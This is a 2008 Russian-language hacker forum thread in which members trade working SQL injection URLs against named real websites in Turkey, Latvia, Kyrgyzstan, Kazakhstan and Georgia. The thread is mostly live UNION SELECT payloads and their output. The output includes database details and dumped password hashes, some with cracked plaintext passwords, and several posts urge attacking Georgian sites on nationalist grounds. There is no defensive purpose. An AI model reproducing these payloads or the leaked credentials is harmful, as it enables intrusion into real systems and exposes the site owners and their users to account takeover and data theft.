SQL Инъекции

08.08.2008, 13:54

$n@ke

Постоянный

Регистрация: 18.09.2006

Сообщений: 867

С нами: 10339586

Репутация: 1396

обед:

Цитата:

http://ieee.metu.edu/alaattin/v2/yillik.php?id=16[sql]

Version:4.1.11-Debian_4sarge8
Dbname:alaattindb
User:alaattin@localhost

jos_users

Цитата:

admin:21232f297a57a5a743894a0e4a801fc3:admin
alaattink:795b88e1642854dc64a4f9da8b980293

http://ieee.metu.edu/alaattin/v3/administrator/
видимо не та джумла)) а c v2 запоротая

𝕏 Twitter Reddit Telegram Копировать ссылку

08.08.2008, 15:24

WAR!9G

Участник форума

Регистрация: 24.06.2007

Сообщений: 299

С нами: 9937288

Репутация: 212

http://www.r25vsk.edu.lv/index.php?id=viensjauns&j=1+union+select+1,databas e(),version(),user(),5,6 ,7,8/*

VERSION:5.0.22-Debian_0ubuntu6.06.3-log
USER:am@localhost
DATABASE:25vsk

http://www.r25vsk.edu.lv/
index.php?id=viensjauns&j=1+union+select+1,passwor d,user,4,5,6,7,8/**/from/**/mysql.user/*

root: 5055ba8907770700: kurmis

Последний раз редактировалось WAR!9G; 08.08.2008 в 15:27..

08.08.2008, 19:54

St0nX

Участник форума

Регистрация: 19.05.2007

Сообщений: 281

С нами: 9989619

Репутация: 106

http://www.edu-soft.ru/?project_id=183'

08.08.2008, 20:20

DDoSька

Постоянный

Регистрация: 05.05.2008

Сообщений: 403

С нами: 9483229

Репутация: 1160

Цитата:

Сообщение от St0nX

http://www.edu-soft.ru/?project_id=183'

Хм...странная какая-то БД ibase_query()
Это чтоли InterBase из Делфи/C++,или я что-то путаю?

08.08.2008, 20:20

Art-Ge-Force

Новичок

Регистрация: 19.04.2008

Сообщений: 28

С нами: 9505445

Репутация: 16

Код:

http://e-bishkek.kg/banki_rash.php?public_id=-1+UNION+SELECT+1,2,3,4,5,6,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,User(),0x7873716C696E6A656E64),0x71),0x71),8,9,10,11,12,13

Код:

http://moda.kg/news.php?ify_id=-1+UNION+SELECT+1,2,3,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,User(),0x7873716C696E6A656E64),0x71),0x71),5,6,7,8,9

08.08.2008, 21:06

WAR!9G

Участник форума

Регистрация: 24.06.2007

Сообщений: 299

С нами: 9937288

Репутация: 212

http://www.building.lv/rus/new/showcat.php?categ_id=1+union+select+1,2,3,4,5,6,7, 8,9,0/*

VERSION: 5.0.45-log
USER: lcweb@localhost
DATABASE: building_rus

http://www.building.lv/rus/new/showcat.php?categ_id=1+union+select+1,table_name,3 ,3,4,5,6,7,8,9/**/from/**/information_schema.tables/*
http://www.building.lv/rus/new/showcat.php?
categ_id=1+union+select+1,user,3,4,password,6,7,8, 9,0/**/from/**/mysql.user/*

root: 6601246238011F5DDCC92FE7E2DC2480C3B7472E
espats: 2C1DDE601732FDE244C41F5936F2856E084B8930
lcweb: DBD0FAA26B656A261DAEA8B6C9CB64790939B902
alute: 8C14F4154F5AA0043EE9A778628C99FC45E14B4E
heydi: 9A4E81B1B436F73677528AC6A14F1DED666DAEC8
lba: 5D4C1BA3B3B50DDC2DE6A15FE7FA42D1F087036C
dzesika: BF144F6F15E9306F96870A619280D5A6C325216B
bioffice: 94A26D7830AAD43DD250F22A0C5F586BBE831B8E
u_ariella: D1B375976DC8758E63F955D6607E293A1447BA3B
madonna: F3859065922CFF8CB80C807994E6502A9F90737D
gallery2: EFB96EC4C51BF221ADF8079902ADAF0B000BFB0D
liene: 3A58B5CF1CE48C5882BA55D327DC670B202B010D
simanft: 0A16657F20FA7E5EFE5152C3F5DB0D771B0D8F44

Хватит ***ней маяться, взламывайте грузинские сайты!!!

09.08.2008, 00:02

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

С нами: 9865044

Репутация: 205

Хватит ***ней маяться, взламывайте грузинские сайты!!!

http://www.opera.ge/

Код HTML:

http://www.opera.ge/eng/viewrepertoire.php?id=-25+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat_ws(0x3a,username,password),20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+FROM+users+LIMIT+4,1/*&option=singleview

Tako:10f8d20efd9cc9fa618b119d169c8591::899512388
starwalker:7694f4a66316e53c8cdd9d9954bd611d::q
karvasla12:2f820f87a9965071cb471f7b26ba2d1d::gulik o
tamuna:62596bf6973a46b5b67a22888d1de628:: patara
pat_guia:45b5a7a07503a59bac2ce5193a564fb4::zarathu stra
...

Код HTML:

http://www.opera.ge/eng/viewrepertoire.php?id=-25+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,password,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+FROM+admin/*&option=singleview

admin:a3db0091856e81579ba5709797ed6058::bess001

http://www.opera.ge/admin/
(Пароль не подходит =\ )

P.S. Не могу понять, боян или нет, но все равно выложил от чистого серца к России и от омерзения к Грузии ))

Последний раз редактировалось ~EviL~; 09.08.2008 в 01:11.. Причина: Боян или нет?!

09.08.2008, 00:38

WAR!9G

Участник форума

Регистрация: 24.06.2007

Сообщений: 299

С нами: 9937288

Репутация: 212

http://kostanaylife.kz/index.php?pname=iass&type=17\'&view=1+union+select +1,2,3,4,5,6,7/*

http://kostanaylife.kz/index.php?
pname=iass&type=17\'&view=1+union+select+1,2,versi on(),4,user(),database(),7/*

VERSION:4.1.22-log
USER:t314kz_adminkl@localhost
DATABASE:t314kz_dbKLNew

09.08.2008, 01:12

Zircool

Участник форума

Регистрация: 01.03.2006

Сообщений: 169

С нами: 10628635

Репутация: 78

Сайт: www.museum.ge PR=5

Цитата:

http://www.museum.ge/web_page/index.php?id=-40+union+select+1,2,3,4,5,6,7,8,9/*

#10

09.08.2008, 01:21

WAR!9G

Участник форума

Регистрация: 24.06.2007

Сообщений: 299

С нами: 9937288

Репутация: 212

http://www.bar.lv/index.php?lang_id=5&categ_id=-1+union+select+1,2,3,4,5,6,7/*&op=search&search_type=4&sop=category

VERSION:4.1.15-Debian_1ubuntu5-log
USER:bar@92.240.65.136
DATABASE:c_bar

http://www.bar.lv/index.php?lang_id=5&categ_id=-1+union+select+1,2,3,aes_decrypt(aes_encrypt(user
(),0x71),0x71),5,6,7/*&op=search&search_type=4&sop=category
http://www.bar.lv/index.php?lang_id=5&categ_id=-1+union+select+1,2,3,aes_decrypt(aes_encrypt(versi
on(),0x71),0x71),5,6,7/*&op=search&search_type=4&sop=category
http://www.bar.lv/index.php?lang_id=5&categ_id=-1+union+select+1,2,3,aes_decrypt(aes_encrypt(data
base(),0x71),0x71),5,6,7/*&op=search&search_type=4&sop=category

USERNAME: Sergey

http://www.bar.lv/index.php?lang_id=5&categ_id=-1+union+select+1,2,3,aes_decrypt(aes_encrypt(usern ame,0x71),0x71),5,6,7/**/from/**/users/*&op=search&search_type=4&sop=category

Внести депозит

Депозит создан

Вывести депозит